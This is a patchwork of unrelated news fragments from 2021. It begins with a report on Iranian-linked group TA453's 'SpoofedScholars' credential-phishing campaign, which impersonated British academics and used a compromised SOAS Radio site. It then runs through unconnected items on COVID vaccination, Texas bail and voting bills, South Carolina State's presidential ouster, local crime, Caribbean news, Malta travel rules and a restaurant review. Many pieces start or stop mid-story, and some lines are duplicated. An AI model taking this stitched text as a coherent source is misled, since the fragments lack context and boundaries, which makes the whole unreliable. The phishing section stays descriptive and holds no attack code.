Enterprise security firm Proofpoint attributed the campaign  called "Operation SpoofedScholars"  to the advanced persistent threat tracked as TA453, which is also known by the aliases APT35 (FireEye), Charming Kitten (ClearSky), and Phosphorous (Microsoft). The government cyber warfare group is suspected to carry out intelligence efforts on behalf of the Islamic Revolutionary Guard Corps (IRGC).

"Identified targets included experts in Middle Eastern affairs from think tanks, senior professors from well-known academic institutions, and journalists specializing in Middle Eastern coverage," the researchers said in a technical write-up shared with The Hacker News. "The campaign shows a new escalation and sophistication in TA453's methods."

On a high level, the attack chain involved the threat actor posing as British scholars to a group of highly selective victims in an attempt to entice the target into clicking on a registration link to an online conference that's engineered to capture a variety of credentials from Google, Microsoft, Facebook, and Yahoo.

To lend it an air of legitimacy, the credential phishing infrastructure was hosted on a genuine but compromised website belonging to the University of London's SOAS Radio, using which personalized credential harvesting pages disguised as registration links were then delivered to unsuspecting recipients.

At least in one instance, TA453 is said to have sent a credential harvesting email to a target to their personal email account. "TA453 strengthened the credibility of the attempted credential harvest by utilizing personas masquerading as legitimate affiliates of SOAS to deliver the malicious links," the researchers said.

Interestingly, TA453 also insisted that the targets sign in to register for the webinar when the group was online, raising the possibility that the attackers were "planning on immediately validating the captured credentials manually." The attacks are believed to have commenced as far back as January January 2021, before the group subtly shifting their tactics in subsequent email phishing lures.

This is not the first time the threat actor has launched credential phishing attacks. Earlier this March, Proofpoint detailed a "BadBlood" campaign targeting senior medical professionals who specialized in genetic, neurology, and oncology research in Israel and the U.S.

"TA453 illegally obtained access to a website belonging to a world class academic institution to leverage the compromised infrastructure to harvest the credentials of their intended targets," the researchers said. "The use of legitimate, but compromised, infrastructure represents an increase in TA453's sophistication and will almost certainly be reflected in future campaigns. TA453 continues to iterate, innovate, and collect in support of IRGC collection priorities."

UPDATE  In a statement to The Hacker News via email, a spokesperson for the University of London's School of Oriental and African Studies (SOAS) said:

"We understand that hackers created Gmail accounts to pretend to be academics and created a dummy site to seek to collect data from people they were targeting. This dummy page was placed on the website of SOAS Radio, which is an independent online radio station and production company based at SOAS. The website is separate from the official SOAS website and is not part of any of our academic domains. We understand the target was not SOAS itself, but external individuals.

"To be clear, academic staff at SOAS of course have no involvement in this process, nor has any action or statement by SOAS staff led to them being spoofed in this way. There was no suggestion of breach of cybersecurity by any SOAS staff."

"In relation to the creation of the dummy site, no personal information was obtained from SOAS, and none of our data systems (e.g., staff and student records, financial information, emails, and core ac.uk website and so on) were involved or affected by this. Our cybersecurity systems for our core systems are robust and fit for purpose.

"Once we became aware of the dummy site earlier this year, we immediately remedied and reported the breach in the normal way. We have reviewed how this took place and taken steps to further improve protection of these sort of peripheral systems."
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Were pleading for anyone who has not been vaccinated yet and is eligible to seek it as quickly as they can, she said.

Current vaccines from Pfizer, Moderna, and Johnson & Johnson are highly effective against the coronavirus and its variants, Anderson said.

Some individuals may have breakthrough cases with mild symptoms, though.

We should not see folks who are fully vaccinated have serious illness and be hospitalized, she said.

Wearing a mask will reduce the chance of spreading or contracting the virus and its variants.

A concern for CDHD is that too many people have put the pandemic and its concerns behind them going into the summer season.

I think the majority of the people believe the pandemic is over, but what were seeing in surrounding states is very clear evidence that it is not over, Anderson said. It was on hiatus in June. Its going to come back again, and it is indeed making its appearance now.

Anyone who develops respiratory symptoms should be tested for COVID-19.

Its important for us to get ahead of this variant as much as we can, Anderson said.
Texas House and Senate lawmakers are considering identical bills, SB 6 and HB 2, that would change how and if people can be released from jail before their criminal cases are resolved. The bills also would ban the release of those accused of violent crimes unless they had enough cash, as well as restrict charitable groups ability to pay to get people out of jail, according to The Texas Tribune. While opponents say the bills would create an overreliance on cash thats unfair to people who are poor, supporters say reform is needed to keep violent and habitual offenders from being released on low-cash bonds. Is Texas in need of bail reform?

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Attorney: S.C. State president exploring legal options following ouster

Tracy Glantz Clark

An attorney representing the ousted president of South Carolina State University said James Clark will explore his legal options following what the lawyer called an unfair termination.

Clark was named S.C. State's 12th president in 2016 after serving a one-year stint on a seven-member interim board appointed by the South Carolina legislature to help the university out of financial difficulties.

The S.C. State trustees unanimously approved a new contract with Clark in November 2020. The contract negotiated by Clark and the board members included a two-year term with an option to extend for an additional two years based on Clark's meeting performance benchmarks that align with the university's strategic plan.

Clark received an annual salary of $195,000, as set by the State of South Carolina, plus benefits, including health and life insurance, annual leave, sick leave and an automobile.

During a special teleconference meeting on Tuesday, the same board of trustees voted 10-3 to remove Clark as president. Retired U.S. Army Col. Alexander Conyers was tapped to serve as acting president until further action by the board is taken.

Conyers, an S.C. State graduate, was named by Clark as vice president for strategic alliances and initiatives in May.

Trustees oust Clark as S.C. State president South Carolina State trustees voted 10-3 Tuesday to remove James Clark as university president.

Donald Gist, a lead attorney with the Columbia-based Gist Law firm, is representing Clark in what the attorney said was an unfair termination.

"We're representing Mr. Clark. Mr. Clark is the second president of South Carolina State University that I have represented in the last eight years. I formerly represented Dr. George Cooper," Gist said.

"We have looked at the account released by the board that they've terminated my client for cause. Specifically, it's quite interesting that the board has not explained the cause to us or the members of the general public. There is some issue with respect to decline in enrollment that's been floated around but, again, every major university, and particularly HBCUs, because of the pandemic have had a decrease in enrollment," Gist said.

The board at Tuesday's meeting cited Clark's violation of Section 7.1 of his employment contract as reason for termination. According to the contract, the section cites gross negligence in the performance of his duties that materially harms the university; felonious and fraudulent acts that involve material dishonesty or fiduciary breach; a formal indictment; and repeated failure to perform duties.

In the event of termination for cause by the board, the contract states that Clark's employment would cease and he would not be entitled to "any further compensation or benefits except for benefits required to be continued by law."

SCSU named one of nations most influential HBCUs South Carolina State University has been ranked as one of the nations most influential historically Black colleges and universities over the last two decades by Academic Influence, an organization that ranks education institutions using web data.

Following the special meeting, board Chairman Rodney Jenkins did not specify what prompted Clark's termination.

"I can't go into that because all that discussion was in executive session," he said, noting that he could not comment on whether the board is concerned about the university's stability.

"I'm not going to make any comments at this point on any position until the board and I come back together at a future date. At this time, I'm not going to make any more comments," he said, noting that he had "no definite" plans on when the board would meet again.

Gist said, "Mr. Clark has received tremendous support from the corporate community, and Mr. Clark has a great love for the students at South Carolina State University. Mr. Clark, like other presidents at universities working for these out-of-control boards, primarily has done his job, and he's done his job very well.

"I think that when the final truth comes to light, the general public will see that this was a move by certain members of the board, and supported by at least 10 members of the board, to oust Mr. Clark after more than a 3-1/2-year effort to get him out of the office."

Retired colonel named S.C. State interim president The South Carolina Board of Trustees on Tuesday appointed retired U.S. Army Col. Alexander Conyers as the universitys acting president.

Gist continued, "I can tell you that we're not going to stand idly by and allow my client to be terminated for cause when cause is not enunciated in the newspaper, and certainly my client didn't have an opportunity to defend against any such cause allegations."

The attorney said Clark was not allowed to address the board nor to defend himself.

"So we believe that a man who had great love for the students, we believe that a man who actually took over the leadership at South Carolina State University in a time of great turmoil and financial distress, we believe for that man to be treated the way he was by this board at South Carolina State University is just really shameful. We believe that the facts will bode in our favor as we attempt to move forward," Gist said.

"Our next step at this point is to look at his legal options and advise him accordingly. You'll be hearing from him," he said.

In the meantime, Conyers will be taking the reins at the university as acting president. The S.C. State alum has 28 years in the U.S. Army and holds a bachelors degree in criminal justice from S.C. State, a masters degree in corrections from the University of South Carolina and a masters degree in public administration from Troy University.

Faculty Senate votes no confidence in SCSU president, provost The South Carolina State University Faculty Senate has passed a resolution stating it has no confidence in the universitys president, with low enrollment and the return to classroom learning being key issues.

He is a graduate of the FBI National Academy and The University of North Carolinas Leadership, Excellence and Development (LEAD) program. He is also a member of several professional associations, including the American Association of Blacks in Higher Education, and a former adjunct professor at Upper Iowa University.

Legislators speak

The South Carolina State University Faculty Senate in March passed a resolution stating it had no confidence in the universitys president, with low enrollment and the return to classroom learning being key issues.

The Faculty Senate voted 18-2 in favor of the resolution with claims that the president also failed to produce a master plan and hadnt resolved the universitys financial crisis.

The national alumni association had also called for the board to issue Clark a one-year contract extension and asked trustees to set up a national search committee to find a new president.

Clark defended his performance, citing, among other things, an $80 million-plus positive financial impact on the university over the last four years, including the highest amount of state appropriations per capita since 2007, and three new state-of-the-art facilities worth more than $15 million.

The Faculty Senate on Tuesday issued a statement welcoming the change. "We welcome Colonel Conyers as the Acting President, and we look forward to working with him. We also look forward to the national search for a permanent president, and we encourage the University Board of Trustees to proceed actively and intentionally with input from its major stakeholders including students, faculty, staff, and alumni. We hope that the Board of Trustees operates with greater transparency and in keeping with the spirit of shared governance. Together we can restore, rebuild, and reclaim the level of excellence that is synonymous with SC State University. SC State University has a stellar legacy for the next administration to build upon. In closing, the faculty would like to thank President Clark for his service rendered to the university and offer best wishes to him and his family in their future endeavors."

Members of the Orangeburg County Legislative Delegation on Tuesday expressed either concern about the university's stability or said they need more information.

No confidence vote questioned; Committee: Decision doesnt represent voice of SCSU faculty Members of a committee created to increase South Carolina State Universitys enrollment are questioning the process the Faculty Senate used to issue a vote of no confidence in the universitys president.

"I am very concerned about this latest change in the leadership at the university. Here we go again. More of the same. It seems that South Carolina State's board of trustees believes it makes sense to change presidents every six or seven years or so. I'm very concerned about the lack of stability and continuity at South Carolina State," Rep. Gilda Cobb-Hunter, D-Orangeburg, said.

"I think the move was very shortsighted. I am hopeful that the long-term implications don't come back to haunt these board members for this decision," she said.

S.C. State plans campus improvements South Carolina State University has set aside at least $8 million for facility and campus improvements during the 2021-2022 school year, according to President James Clark.

Rep. Jerry Govan, D-Orangeburg, an S.C. alumnus, said, "Until we learn more details in terms of why the contract was not renewed, or why it was terminated, I think that would be prudent before people start jumping to conclusions or getting into this debate of stability."

"I think the prudent thing would be to wait and get all the facts before really doing a deep dive in terms of whether it is the right move for the university at this time," he said, noting that there have been some legitimate concerns expressed among alumni and others that "were not really addressed."

"I think it's disingenuous to those of us who really have invested a lot of time and effort as alumni of the university and care about South Carolina State University and what it means to the Orangeburg community. So in all fairness, I mean these colleges are going to experience turnover and change."

Cobb-Hunter said, "My perspective is that of a budget subcommittee member who has been watching this university for the last almost 30 years go through president after president.

"When the legislature stepped in and got rid of the old board, there were tremendous issues at the university, particularly fiscal issues. From my perspective as a budget writer, what President Clark and his team did to bring some fiscal soundness, policies and procedures to that university were long overdue."

Cobb-Hunter continued, "Our subcommittee showed our confidence in the progress that the university had made through the budget appropriations we did this session. We were very generous with them because it appeared to us that the university was on stable financial footing and that there was some stability there.

TheTandD.com: Full access for 3 months for just $1 Support local journalism by becoming a member at www.TheTandD.com The editor's limited time offer is full access to all the website has to offer for just $1 for three months. https://go.thetandd.com/june3

"I just hope that they have thought this through. I'm concerned, for example, about this project with Savannah River and who will step in as far as that project is concerned. A lot of these things are built on relationships."

Sen. Vernon Stephens, D-Bowman, said, "I respect the board's decision. They're there, they understand the intricacies of what's going on with the university. They have a vision for the university. If that vision was not the same as the vision of the current president, then I respect them for making a move."

Stephens continued, "The South Carolina General Assembly has been very liberal this year in giving the university basically what they asked for. We went on record as giving more this year than we have in many, many years. With that being said, we need to make sure that the university has the board's support, as well as a president who will lead through these times."

Stephens said the turnover among those who have served as president has been an issue.

"I'm hoping that this board does see that we need to bring some stability back to the university. We need to market ourselves as a viable institution for higher learning and attract those students not only from the close proximity of the university, but throughout the state of South Carolina and the United States as a whole."

Cobb-Hunter said, "We have a lot of work to do in this state as far as board training. This is just not South Carolina State, but (University of South) Carolina as well. What this shows to me is that we have got to task the Commission on Higher Education with coming up with some kind of board training for board of trustee members.

"I've said this for a very long time time. We as legislators need to take more care and consideration into who we put on that board. We've got to do a better job of the kind of people we put on the board. When we get people who have experience, it's kind of tough for people to want to remain in an environment where the petty becomes priority."
There were three juveniles in the residence at the time. No one was injured when gunshots rang out.

The mother of one of the juveniles called law enforcement after her child called to report that someone had shot the house up, the report states.

The report states the juveniles were asleep inside of the house when the shooting began.

Deputies discovered a bullet hole in the side door, where the projectile passed through the living room area, into an interior wall and then damaged an air fryer.

Two other bullets struck the living room window.

The case remains under review by the criminal investigation unit.

Someone burglarized the 4-Way Stop, located at 2212 Magnolia Street, in Orangeburg around 1 a.m. on Monday, according to an incident report.

A man said when he reported to work at 6 a.m., he noticed that someone tossed a large cement block through the front door, entered the business and stole 11 cartons of Newport 100 cigarettes.

As he waited for deputies to arrive, he reviewed the surveillance footage and saw that an unknown man wearing a plastic bag on his head allegedly tossed the cement block through the front door.
The expansion impacts low- and middle-income citizens, Clyburn said.

Clyburn also encouraged citizens to continue getting vaccinated. Attendees and others had the opportunity to get vaccinated at the event.

Two mobile vaccination stations were located outside the center. The vaccines were facilitated by Family Health Centers Inc.

I thought it was important to add the vaccinations to this. Originally we were not. We were going to just focus on the American Rescue Act, but in recent days, we see numbers going up and vaccinations going down. And its pretty clear according to the reports that Ive seen, 99.5% of all the people that are contracting the virus now seem to be people who have not been vaccinated, Clyburn said.

The administration ... by July 4th wanted 70% of the people in the country to be vaccinated, and we didnt get there. We got to 67%. South Carolina is right around 41%, and of course, Im pretty concerned about that, Clyburn said.

Clyburn is the chair of the House Select Subcommittee on the Coronavirus Crisis.

It is my job to make sure the monies spent on the coronavirus are efficiently spent, effectively spent and equitably spent, Clyburn said.

Contact the writer: bharris@timesanddemocrat.com or 803-596-6530

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U.S. House Majority Whip James Clyburn says he will continue supporting his alma mater South Carolina State in the aftermath of the universitys board ousting President James Clark on Tuesday morning.

Speaking later Tuesday afternoon prior to his town hall meeting in Santee, the 6th District congressman said, Look, I dont know. I understand that the vote was 10-3. Thats a pretty significant vote, and so it seems to me that people feel that it may be time for a new direction in leadership.

Clyburn said his focus will be on the institution.

Im going to support the school no matter what they do. I know the chairman of the board very well, I know some other members of the board, I know a lot of the faculty over there. Im going to do everything I can in Washington to support the school, Clyburn said.

State government should be doing the same, Clyburn said, citing the universitys transportation center.

That school means a lot to me, and I think when you look at the fact that we have only one public HBCU in this state, the state needs to make a bigger commitment to that school, Clyburn said.
He stated not only do they need these school supplies and donations but that they are still in need of volunteers for the planning committee for the town and that those interested can contact the town hall.

Next, the final reading of the fiscal year budget was held during the meeting.

Jones stated, as he did during a previous special meeting, that the income and expenses match for the municipal and water and sewer fiscal year budgets respectively. The municipal income is $494,015, and the water and sewer income is $364,760.

He repeated that the budget is balanced and is being sent into the state.

Jones added that he will be meeting soon with the Municipal Association of South Carolina to determine what to do after the shut-down during the COVID-19 pandemic.

In other business:

Jones stated municipal elections will be held Tuesday, Nov. 2. The starting filing date is Aug. 2 by noon. The deadline to file is Aug. 16 by noon.

Jones stated that there were reports of a chlorine shortage but that the contractor for water and sewer services for the town has plenty of chlorine.
SWANSEA (AP)  A South Carolina mayor has been suspended after a grand jury indicted him on charges that he directed town funds to an account he controlled.

Jerald E. Sanders has been mayor of the 900-person town of Swansea since 2019, after serving nine years on the Town Council. The state attorney general's office said in a news release Monday that a Lexington County grand jury indicted Sanders on embezzlement and misconduct in office.

Gov. Henry McMaster suspended Sanders after the indictments were handed down, the Post and Courier reported. Mayor Pro-Tempore Woodrow Davis will lead the town that's about 25 miles south of Columbia.

The attorney general's news release said that in or around December 2019, Sanders had checks totaling less than $10,000 written to him without authorization and then cashed those checks. Conviction on embezzlement would carry up to five years in prison and a fine set by the court.

The misconduct charge is a misdemeanor. It alleges Sanders wrongfully accepted town money and directed it to a bank account under his control.

Alex Postic of Columbia, one of the attorneys representing Sanders, denied the allegations against the mayor.
Biden called efforts to curtail voting accessibility un-American and un-democratic and launched a broadside against his predecessor, Donald Trump, who baselessly alleged misconduct in the 2020 election after his defeat. More than a dozen states this year have already passed tougher election laws, but only in Texas have Democrats put up this kind of fight.

Back in Texas, Republicans in the unusually skeletal state Capitol authorized finding and bringing back more than 50 lawmakers under warrant of arrest if necessary. However, because state troopers have no jurisdiction beyond Texas, the move has little practical effect in the short term.

Abbott has already threatened Democrats with arrest once they come back home, which may not be until the current 30-day special session ends in August. Though that would successfully stymie the GOP's current effort, Abbott has vowed to keep trying until the 2022 elections if necessary.

We think things have been delayed, not denied," said state Rep. Jim Murphy, the House GOP caucus leader.

In the state Senate, where nine Democrats didnt show up  not enough to also deny quorum  Republicans passed their version of a voting bill even though that is now as far as it can go.
I'm feeling great. I'm on top of the world. We're all at home today, kind of relaxing. I just made lunch for my wife and my son and enjoying a very exciting day. I had been excited to make a couple of lists of predictions to be nominated, and then obviously it's even more exciting to be actually nominated. But expectations, I don't hold on to for very long. I left it alone and figured if something exciting happened, I'd hear about it and sure enough the texts started rolling in, first for the show and of course, Sterling Brown, who is holding down all of the nominations for us."  This Is Us actor Chris Sullivan, who plays Toby, said in a Zoom interview. He was nominated for supporting actor in a drama series for the NBC show.
Moore had been told he was receiving an award for supporting Israel. But in the segment, Baron Cohen appeared as a faux counterterrorism instructor Col. Erran Morad, discussing bogus military technology, including a supposed pedophile detector. In the segment, the device beeped repeatedly as it got near Moore, who sat stone-faced.

The judge noted the absurdity of the segment in dismissing Moores lawsuit, which sought $95 million in damages.

In light of the context of Judge Moores interview, the segment was clearly a joke and no reasonable viewer would have seen it otherwise, the judge wrote.

Court records indicate Moore and his wife, who also was a plaintiff in the suit, are appealing.

Of course we will appeal  this Court used words like tricked and Joke in describing Cohens behavior but will still do nothing to rein in his fraudulent misconduct, Moore said in a statement texted to The Associated Press.

Baron Cohen has for years lured unwitting politicians into awkward interviews. He has faced past lawsuits over similar pranks, but those were tossed out because the individuals had signed releases.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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Schmaling said he had watched video of the initial shooting. Though he described the shooting as an execution, he gave no indication of what preceded the attack.

Schmaling did not provide the names of the shooter or his victims, but did say the gunman was from Hartland and the man he shot and killed was from Elkhorn.

One witness to the aftermath of the shooting at the Pilot, just off Interstate 94 about 22 miles (35 kilometers) south of Milwaukee, described a sea of people fleeing from inside the station.

A trucker who declined to give her name, citing fears for her safety, told The Associated Press she had just pulled into the Pilot to fuel up when a man ran out of the store. She said she then saw a truck ahead of her back up and make a U-turn to leave.

Then, everybody starts running out of the Pilot, it's truckers just running, sea of people, this one guy is yelling, Run! Run,' and I'm like, Oh my God," the woman said. She said she asked one of the people what was going on.

He said that somebody's in there shooting, the woman said. She said she did not witness any shooting or see anyone hurt.
COLUMBIA, S.C. (AP)  South Carolina now has the lowest rate of released inmates returning to prison within three years in the country thanks to an in-depth and expanding program of job and life skills, the state prison director said.

Less than 22% of South Carolina inmates released in 2017 found themselves back in prison within three years, South Carolina Department of Corrections Director Bryan Stirling said at a Tuesday ceremony at one of the state's reentry programs.

That rate was 33% just before Stirling took over the prison system in 2013. The director said he went to a nearby Greyhound bus stop right after he was hired and was discouraged by what he observed.

I saw people leaving in prison uniforms  all we did was take the stripe off. They were just given a bag, a little bit of money and said good luck," Stirling said.

During the next eight years, Stirling made one of his chief goals giving inmates as much support as his agency can to make sure they can make it their last term behind bars.

Inmates can learn a wide range of job skills from plumbing to carpentry and cooking to running a backhoe.
Abbott has called the special session because the Texas legislature  thanks to the Democrats denying him quorum in a parliamentary procedure  didnt get what amounts to a rollback of democracy in the regular session. Second time lucky.

What these Republicans are doing is equivalent to forcing men to wear blinders so they dont stare at naked women on our streets, even though there are no naked women on our streets. Better be sure.

Behind all this refutation of truth is the Big Lie. It is promoted, cherished and burnished by former President Donald Trump and those who swallowed his brand of fact-free ideology. The Big Lie is with us and will cast its shadow of pernicious doubt over future elections down through time. The loser will cry fraud and state lawmakers will, under the new scheme of things, be entitled to overturn election results, violating the will of the people to serve their own political goals.

Mark Twain wrote a short essay in 1880 entitled On the Decay of the Art of Lying. If Twain were alive today, he might be tempted to retitle his work The Ascent of the Art of Lying.

The extraordinary thing about the Big Lie is its blatancy; the fact that it has been found untrue by the courts and by every investigation, yet it rolls on like the Mississippi, unyielding to fact, unimpeded by truth.
The Democratic Party's No. 1 priority is to pass a voting "reform" bill that would federalize elections under rules favorable to Democratic candidates. It's more important than infrastructure, or massive new social spending, or anything else, which is why House Speaker Nancy Pelosi and Senate Majority Leader Charles Schumer gave their election bill the designation H.R. 1 in the House and S.1 in the Senate.

The House passed H.R. 1 in a nearly straight party-line vote on March 3. Every single Republican voted against it, and every Democrat, with one exception (Rep. Bennie Thompson), voted for it. The problem for Democrats is that there is no chance S.1 will pass in the Senate, where Democrats do not hold a majority of seats. To pass S.1, Democrats would first have to eliminate the filibuster, and then muster all of their 50 senators to vote for the bill against 50 Republicans, and then call in Vice President Kamala Harris to break the tie. The short version: Not gonna happen.

That is where Attorney General Merrick Garland comes in. On June 11, Garland gathered the employees of the Justice Department to deliver a speech promising that the department will intervene in election procedures around the country, to do at least some of the work that Democrats are failing to accomplish on Capitol Hill.
When the Affordable Care Act was approved in 2010, the concept was that the Medicaid program would expand in each state to provide health care coverage for the poorest people. Ideally, the expansion was to mean no one would need uncompensated care of the type provided by public hospitals such as the Regional Medical Center. Funds from the federal government to hospitals providing indigent care were reduced via the ACA.

But not all states decided to expand their Medicaid programs. Twelve, including South Carolina, despite federal incentives, said the ultimate cost of growing the program would be too great.

South Carolina has resisted expansion through the administrations of Gov. Nikki Haley and the present governor, Henry McMaster, who has called new incentives via the American Rescue Plan for states to expand Medicaid a "bribe."

The COVID-19 relief bill passed in March included financial enticements for the 12 states to expand Medicaid. Essentially, the federal government will cover 90% of the costs of the newly eligible population, and an additional 5% of the costs of those already enrolled.

States are not moving to change their positions even with the new incentives, leaving Democrats in Washington looking at another way to bring care to the estimated 2 million people nationwide without health insurance.
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Fort Payne, AL (35967)

Today

Thunderstorms this evening, then cloudy with rain likely overnight. Low 69F. Winds light and variable. Chance of rain 90%..

Tonight

Thunderstorms this evening, then cloudy with rain likely overnight. Low 69F. Winds light and variable. Chance of rain 90%.
The state's 14-day average in total new cases is 107.7 per day. That number is up 38.4 from a month ago.

The state's number of total active cases is 557. That number is up 58 from a month ago.
NO definitive decision has as yet been taken to mothball Atlantic Train I, industry insiders have said.

According to these insiders, reports of the plant being mothballed should be seen as part of the ongoing fight between BP and Royal Dutch Shell, two of the worlds largest energy companies, for control of the still lucrative liquefied natural gas (LNG) complex at Point Fortin.
For whatever reason, that song, Cyah Take Dat, has been playing in my head constantly since midnight on Tuesday.

I clearly remember the moment I received the message that the Great Griot had passed. I was watching When Sharks Attack on the National Geographic channel. There was shock, disbelief and my body got frighteningly cold as I tried to process what I had just been told.
In April of this year, a 17-year-old girl named Aicha got into a boat with 58 men, women and children in the west African country of Mauritania, and set off for Europe.

Within two days, their food and water were done.

On the fourth day, the fuel for the engines had run out.

The boat began drifting in the unforgiving Atlantic Ocean, with no land or ship in sight.

People began screaming out for water. A human can only survive without it for three days.
Eight more people have died of the Covid-19 virus.

They have taken T&Ts death toll to 990.

The Ministry of Health reported the new deaths in its daily update yesterday.

The ministry said the deceased patients were:

 Three elderly men with co-morbidities
The international community, as represented by the Core Group, must be stopped from repeating its misguided policies that have helped to push Haiti into a state of sustained crisis.

On Saturday, the Core Group, which is an informal bloc of diplomats in Haiti who represent the United States, Canada, France, Germany, Brazil, Spain, the European Union, the United Nations and the Organisation of American States, issued a statement acknowledging Dr Ariel Henry as designated prime minister.
Many lives and our economic survival depend on the availability of vaccines in sufficient numbers to vaccinate 70 per cent or greater of the adult population.

We are reopening for business before the 70 per cent target is achieved and before more is known about the Delta variant, described as relentless. That is a significant risk, but I do acknowledge movement in a safer direction with the reported arrival last week of enough doses of Sinopharm vaccine for 400,000 people and the Prime Minister being pictured taking it.
The charity organization is dedicated to preserving the legacy of the Buffalo Soldiers by educating and engaging the community about the impact of these soldiers. The group raised $70,000 for the memorial, said Covington, who worked with Councilman Richard Fimbres to see the memorial come to fruition.

Fimbres said the memorial plaza is the first voter-approved memorial honoring the Buffalo Soldiers. He said the memorial will continue to benefit students and the community for future generations, honoring those African Americans who served in the U.S. Army from 1866-1948.

The memorial plaza is located at the center, 1575 E. 36th St., in Ward 5 in the South Park Neighborhood. More than $155,000 in voter approved bonds was used for the design and construction of the memorial plaza as part of a Tucson Parks and Recreation project.

Finishing touches will be completed this summer, including permanent signage and the design and installation of four flagpoles that will fly flags of the Buffalo Soldiers regiments. The area chapter of the Buffalo Soldiers will provide the flags. Digital access to historical information at the memorial plaza is another phase that is under planning, said Covington.
The umbel likes to hang out in the shallow water, and thats right where the cows are. They pulverize those areas, he said. Were in a jeopardy situation. The loss of that population could be catastrophic.

The BLM declined comment. June Lowery, spokeswoman for the bureaus Gila District Office in Tucson, said the agency does not discuss pending litigation.

The U.S. Fish and Wildlife Service added the Huachuca water umbel to the endangered species list in 1997 and designated much of the San Pedro River as critical habitat for the plant in 1999.

Fridays legal notice from the center and the Maricopa Audubon Society includes photos of cattle in several parts of the almost-57,000-acre conservation area where grazing is not permitted. These are pure trespass cows, Silver said.

In one case from March, the BLM conducted a prescribed burn to help clear out and restore part of the St. David Cienega at the northern end of the conservation area, only to have a herd of cattle from a nearby ranch find its way in to eat the new plants that sprouted after the fire.

Thats the worst time to have them in there, Silver said.

Grazing leases up for renewal
FARMINGTON, Conn. (AP)  The lawyers for Fotis Dulos, the Connecticut man accused of murder after his estranged wife Jennifer Dulos disappeared, will be banned from discussing the case for 40 years, according to probate court settlements.

They must also return more than half the $250,000 retainer Dulos gave them shortly before his death. Probate Judge Evelyn Daly in Farmington, where Dulos lived, approved the settlements on Tuesday, ending lawsuits filed against criminal defense lawyers Norman Pattis and Kevin Smith, Hearst Connecticut Media reported.

Jennifer Dulos vanished in May 2019 after dropping the estranged couple's five children off at school in New Canaan where she was living  a case that drew international news coverage and led to TV documentaries and a movie. Her body still hasn't been found. Her disappearance came amid contentious divorce and child custody court proceedings.
The Arreola family is pleased that this matter has been resolved and hopes that this resolution can provide a measure of healing for the community," Post said.

Arreolas father, Rodrigo Arreola, signed the settlement agreement July 9. It says $490,000 will go to the guardian of Hector Arreolas young child, and $10,000 will go to his estate, as managed by Rodrigo Arreola.

The agreement maintains the police officers did nothing wrong, and says the city offered the settlement without the officers' consent. The officers expressly deny any and all liability, responsibility and potential liability, and the settlement shall not be construed as an admission of liability, the agreement states.

NAACP leaders in Columbus have likened Arreolas death to that of George Floyd in Minneapolis. Columbus NAACP branch President Wane Hailes has said Arreola said 16 times that he couldnt breathe as an officer sat on him for more than two minutes while Arreola was handcuffed.

The officers were put on administrative leave during an investigation, but have returned to duty.
The CDC, in a three-paragraph order signed by its director, Dr. Rochelle Walensky, on Feb. 11, exempted unaccompanied children from being expelled to Mexico until a forthcoming public health reassessment, which has yet to be published. Texas argues in its lawsuit that the administration's justification was insufficient.

Higher COVID-19 vaccination rates have brought increasing pressure on the Biden administration to lift the public health order that was always intended as a temporary measure during the pandemic. While the administration has exempted unaccompanied children, some families and nearly all adults traveling alone are expelled from the United States  often to Mexico within two hours  without a chance to seek asylum.

The Associated Press reported last year that then-Vice President Mike Pence directed the CDC to use emergency powers to effectively seal America's borders, overruling agency scientists who said there was no evidence the action would slow COVID-19.
MOSCOW (AP)  A top European human rights court issued a ruling Tuesday urging Russia to recognize same-sex unions, but the Kremlin was quick to respond that same-sex marriage was not allowed in Russia in accordance with constitutional amendments adopted last year.

The European Court of Human Rights ruled in a case that three Russian same-sex couples filed after Russian officials rejected their attempts to get married. The court found that Russia violated Article 8 of the European Convention on Human Rights, which outlines a right to respect for private and family life.

Russia had an obligation to ensure respect for the applicants private and family life by providing a legal framework allowing them to have their relationships acknowledged, the court stated.

The court rejected the Russian government's argument about widespread public disapproval of same-sex unions. saying that access to rights for a minority could not be dependent on the acceptance of the majority.

Commenting on the ruling Tuesday, Kremlin spokesman Dmitry Peskov said same-sex marriages in Russia were according to our constitution, not allowed.
The Maltese government issued a legal notice late Tuesday with revised travel rules that came into effect on Wednesday. The notice lists countries from which people can travel to Malta. It says individuals a recognized COVID-19 vaccination certificate can enter the country freely, while those without one must quarantine for 14 days.

The Maltese government didn't explain why it changed the regulation on the eve before it came into force.

But Thierry Breton, the European commissioner for internal markets, said Tuesday that he had spoken with Prime Minister Robert Abela on the proportionality of specific travel measures to cope with variants. In a tweet, Breton said he was pleased with the evolution of the position of Maltese authorities.

The Malta Tourism Authority warned Wednesday that anyone arriving in Malta without proof of having received a European-approved vaccine would be forced to quarantine in a hotel and pay a minimum accommodation fee of 1,400 euros ($1,656) per room.

Anyone who cannot take a COVID-19 vaccine for medical reasons and children ages 5-11 are exempt from the quarantine but must present proof of a negative coronavirus test upon arrival. Children under age 5 dont need a test result or certificate.

Malta added 218 new cases over the past day to bring its official caseload to more than 31,000, while its official death toll stands at 420.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
OPINION: The new Name Image Likeness (NIL) and the impacts it will have on the PAC-12 is one subject in Letters to the Editor. What are your thoughts on NIL? Submit a Letter to the Editor at tucson.com/opinion.
OPINION: "To answer the question about Tucsons water, especially in my Ward and the South side: It is safe and we get our water from the CAP facility in Avra Valley," writes Richard Fimbres, who represents Ward 5 on the Tucson City Council.
OKLAHOMA CITY (AP)  Oklahoma Gov. Kevin Stitt said Tuesday he's named an executive from his former company to serve as the state's chief operating officer.

Steven Harpe, who previously worked as chief information officer at Stitt's Gateway Mortgage Group, will continue in his current role as director of the Office of Management and Enterprise Services and as deputy secretary of digital transformation and administration.

As COO, Harpe replaces John Budd, a former Sonic Corp. executive who stepped down from his role as Stitt's COO earlier this month.

Since joining Stitt's administration, Harpe has worked as deputy director at OMES and also served on the Board of Corrections.

Stitt created the position of chief operating officer after taking office in 2019.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
The Basque Country occupies a region not quite the size of New Hampshire situated astride the border between Spain and France.

Restaurant Basque: Need to know Food: 4 stars  Service: 4 stars  Atmosphere: 4 stars

And, at first, Amelia Eesley thought that was all she needed to know to call her latest venture Restaurant Basque, 114 N. Boston Ave. It occupies the space that formerly held Amelias Market & Brasserie, and Hey Mambo and Sette before that.

